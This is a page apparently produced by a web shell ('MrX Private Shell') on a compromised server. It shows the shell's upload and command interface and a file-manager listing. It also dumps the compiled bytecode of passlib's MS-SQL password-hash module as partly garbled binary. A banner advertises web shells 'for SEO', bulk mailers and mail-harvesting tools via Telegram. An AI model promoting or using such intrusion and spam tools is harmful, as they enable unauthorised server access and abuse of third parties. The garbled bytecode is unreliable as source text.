__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

XR_"!��p�SrSSKJrJr SSKJr SSKrSSKr\R"\	5r
SSKJr SSK
Jr SSKJrJrJr SSKJs Jr SS	/rS
rSr\"S5rS
rSr"SS\R:\R<\R>5r "SS	\R:\R<\R>5r!g)a�passlib.handlers.mssql - MS-SQL Password Hash

Notes
=====
MS-SQL has used a number of hash algs over the years,
most of which were exposed through the undocumented
'pwdencrypt' and 'pwdcompare' sql functions.

Known formats
-------------
6.5
    snefru hash, ascii encoded password
    no examples found

7.0
    snefru hash, unicode (what encoding?)
    saw ref that these blobs were 16 bytes in size
    no examples found

2000
    byte string using displayed as 0x hex, using 0x0100 prefix.
    contains hashes of password and upper-case password.

2007
    same as 2000, but without the upper-case hash.

refs
----------
https://blogs.msdn.com/b/lcris/archive/2007/04/30/sql-server-2005-about-login-password-hashes.aspx?Redirected=true
http://us.generation-nt.com/securing-passwords-hash-help-35429432.html
http://forum.md5decrypter.co.uk/topic230-mysql-and-mssql-get-password-hashes.aspx
http://www.theregister.co.uk/2002/07/08/cracking_ms_sql_server_passwords/
�)�hexlify�	unhexlify)�sha1N)�warn)�consteq)�
bascii_to_str�unicode�u�	mssql2000�	mssql2005c��[U[5(de[U[5(de[UR	S5U-5R5$)Nz	utf-16-le)�
isinstancer	�bytesr�encode�digest)�secret�salts  �8/usr/lib/python3/dist-packages/passlib/handlers/mssql.py�
_raw_mssqlr9sJ���f�g�&�&�&�&��d�E�"�"�"�"���
�
�k�*�T�1�2�9�9�;�;�s0x0100�0x0100c�B�[U[5(a+[U5U:XaUR[5(agg[U[
5(a+[U5U:XaUR[5(agg[RRUS5e)z#common identify for mssql 2000/2005T�hashF)
rr	�len�
startswith�UIDENTr�BIDENT�uh�exc�ExpectedStringError)r�csize�bsizes   r�_ident_mssqlr#Bs{���$�� � ��t�9���$�/�/�&�"9�"9���
�D�%�	 �	 ��t�9���$�/�/�&�"9�"9��
��f�f�(�(��v�6�6rc�D�[U[5(aH[U5U:Xa8UR[5(a[USSR
S55$O�[U[5(aP[U[5(de[U5U:Xa)UR[5(a[USS5$O [RRUS5e[RRU5e![a N+f=f![a N;f=f)zAcommon parser for mssql 2000/2005; returns 4 byte salt + checksum�N�utf-8r)rr	rrrrr�	TypeErrorrrrrr �InvalidHashError)rr!r"�handlers    r�_parse_mssqlr*Ps����$�� � ��t�9���$�/�/�&�"9�"9�
� ��a�b�����!9�:�:��
�D�%�	 �	 ��$��&�&�&�&��t�9���$�/�/�&�"9�"9�
� ��a�b��*�*���f�f�(�(��v�6�6�
�&�&�
!�
!�'�
*�*���
��
���
��
�s$�D�4
D�
D�D�
D�Dc�h�\rSrSrSrSrSrSrS=rr	\
S5r\
S5rSr
S	r\
S
5rSrg)
r�fa�This class implements the password hash used by MS-SQL 2000, and follows the :ref:`password-hash-api`.

It supports a fixed-length salt.

The :meth:`~passlib.ifc.PasswordHash.using` method accepts the following optional keywords:

:type salt: bytes
:param salt:
    Optional salt string.
    If not specified, one will be autogenerated (this is recommended).
    If specified, it must be 4 bytes in length.

:type relaxed: bool
:param relaxed:
    By default, providing an invalid value for one of the other
    keywords will result in a :exc:`ValueError`. If ``relaxed=True``,
    and the error can be corrected, a :exc:`~passlib.exc.PasslibHashWarning`
    will be issued instead. Correctable errors include
    ``salt`` strings that are too long.
�r�(�c��[USS5$)N�^�.�r#��clsrs  r�identify�mssql2000.identify�����D�"�b�)�)rc�8�[USSU5nU"USSUSSS9$)Nr1r2r/�r�checksum�r*�r5r�datas   r�from_string�mssql2000.from_string��+���D�"�b�#�.����R�a��4���8�4�4rc�~�URUR-nS[[U5R	55-$�Nr�rr;rr�upper��self�raws  r�	to_string�mssql2000.to_string�s1���i�i�$�-�-�'���-����(:�(:�(<�=�=�=rc��[U[5(aURS5nURn[	X5[	UR5U5-$�Nr&)rr�decoderrrE)rGrrs   r�_calc_checksum�mssql2000._calc_checksum�sC���f�e�$�$��]�]�7�+�F��y�y���&�'�*�V�\�\�^�T�*J�J�Jrc�\�[R"U5 URU5nURnUc[RRU5e[
U[5(aURS5n[UR5UR5n[XTSS5$)Nr&�)
r�validate_secretr?r;r�MissingDigestErrorrrrMrrErr)r5rrrG�chk�results      r�verify�mssql2000.verify�s���	���6�"����t�$���m�m���;��&�&�+�+�C�0�0��f�e�$�$��]�]�7�+�F��F�L�L�N�D�I�I�6���v�2�3�x�(�(r�N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�name�setting_kwds�
checksum_size�
min_salt_size�
max_salt_size�classmethodr6r?rIrNrV�__static_attributes__rXrrrrfsi���.�D��L��M�$%�%�M�M��*��*��5��5�>�
K��)��)rc�X�\rSrSrSrSrSrSrS=rr	\
S5r\
S5rSr
S	rS
rg)r�a�This class implements the password hash used by MS-SQL 2005, and follows the :ref:`password-hash-api`.

It supports a fixed-length salt.

The :meth:`~passlib.ifc.PasswordHash.using` method accepts the following optional keywords:

:type salt: bytes
:param salt:
    Optional salt string.
    If not specified, one will be autogenerated (this is recommended).
    If specified, it must be 4 bytes in length.

:type relaxed: bool
:param relaxed:
    By default, providing an invalid value for one of the other
    keywords will result in a :exc:`ValueError`. If ``relaxed=True``,
    and the error can be corrected, a :exc:`~passlib.exc.PasslibHashWarning`
    will be issued instead. Correctable errors include
    ``salt`` strings that are too long.
r-rQr/c��[USS5$)N�6�r3r4s  rr6�mssql2005.identify�r8rc�8�[USSU5nU"USSUSSS9$)Nrhrir/r:r<r=s   rr?�mssql2005.from_string�rArc�~�URUR-nS[[U55R	5-$rCrDrFs  rrI�mssql2005.to_string�s1���i�i�$�-�-�'���-����5�;�;�=�=�=rc�x�[U[5(aURS5n[XR5$rL)rrrMrr)rGrs  rrN�mssql2005._calc_checksum�s,���f�e�$�$��]�]�7�+�F��&�)�)�,�,rrXN)rYrZr[r\r]r^r_r`rarbrcr6r?rIrNrdrXrrrr�sT���.�D��L��M�$%�%�M�M��*��*��5��5�>�
-r)"r]�binasciirr�hashlibr�re�logging�	getLoggerrY�log�warningsr�
passlib.utilsr�passlib.utils.compatrr	r
�passlib.utils.handlers�utils�handlersr�__all__rrrr#r*�
HasRawSalt�HasRawChecksum�GenericHandlerrrrXrr�<module>r�s��� �J(��	��g�'�'��1���"�:�:�#�#�����<�

��	
�8����+�,H)��
�
�r�0�0�"�2C�2C�H)�Z9-��
�
�r�0�0�"�2C�2C�9-r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 250 B 0644
argon2.cpython-313.pyc File 29.75 KB 0644
bcrypt.cpython-313.pyc File 38.25 KB 0644
cisco.cpython-313.pyc File 12.55 KB 0644
des_crypt.cpython-313.pyc File 20.36 KB 0644
digests.cpython-313.pyc File 6.2 KB 0644
django.cpython-313.pyc File 20.54 KB 0644
fshp.cpython-313.pyc File 7.61 KB 0644
ldap_digests.cpython-313.pyc File 13.81 KB 0644
md5_crypt.cpython-313.pyc File 8.95 KB 0644
misc.cpython-313.pyc File 11.23 KB 0644
mssql.cpython-313.pyc File 9.08 KB 0644
mysql.cpython-313.pyc File 4.29 KB 0644
oracle.cpython-313.pyc File 6.42 KB 0644
pbkdf2.cpython-313.pyc File 17.2 KB 0644
phpass.cpython-313.pyc File 4.8 KB 0644
postgres.cpython-313.pyc File 2.03 KB 0644
roundup.cpython-313.pyc File 886 B 0644
scram.cpython-313.pyc File 14.6 KB 0644
scrypt.cpython-313.pyc File 12.57 KB 0644
sha1_crypt.cpython-313.pyc File 5.76 KB 0644
sha2_crypt.cpython-313.pyc File 15.02 KB 0644
sun_md5_crypt.cpython-313.pyc File 11.85 KB 0644
windows.cpython-313.pyc File 10.9 KB 0644
Filemanager